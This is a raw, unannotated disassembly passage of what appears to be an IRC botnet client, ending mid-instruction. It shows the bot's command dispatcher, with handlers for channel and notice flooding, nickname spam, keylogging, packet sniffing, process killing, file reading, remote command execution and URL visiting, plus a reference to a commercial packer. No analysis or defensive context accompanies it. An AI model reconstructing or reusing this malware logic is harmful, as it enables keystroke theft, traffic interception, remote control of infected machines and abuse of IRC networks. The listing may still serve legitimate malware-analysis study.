call sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42BC6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2680000h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 268082Fh push eax push offset unk_42BC2C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE nop call near ptr 26905CDh push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42BBC4 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42BBC0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42D0F0 ; " " push offset dword_42BBBC push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBAC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42BBA8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42D0F0 ; " " push offset dword_42BBBC push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BB94 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42D0F0 ; " " push offset dword_42BBBC push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42D0F0 ; " " push offset dword_42BBBC push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 call near ptr 26905CDh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42BB24 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42BB1C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42BB10 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42BB0C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call near ptr 26905CDh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42BAE4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB1C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB1C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42BB1C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42BB1C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42BBAC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBAC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BBAC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BA9C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BA84 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BA6C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42BA6C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42BA9C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D46BC loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB6BC loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DADDC jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42BA0C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B914 loc_405B66: ; DATA XREF: Themida_:00563E6Ao jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D7D8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B8E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 2680000h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj call near ptr 268082Fh nop push eax push offset dword_42B8A8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B86C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B840 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B818 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D7D8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B7E8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43E574[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h nop call near ptr 2680000h jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj call near ptr 268082Fh nop push eax push offset unk_42B7AC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B76C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B73C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B714 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B6E8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call near ptr 2680098h nop imul esi, 234h cmp eax, ebx mov dword_43E574[esi], eax jnz loc_40828B nop call near ptr 268082Fh push eax push offset dword_42B6B4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42B67C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42B65C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42B610 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42B5E4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42B5C4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D7D8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B5A0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, 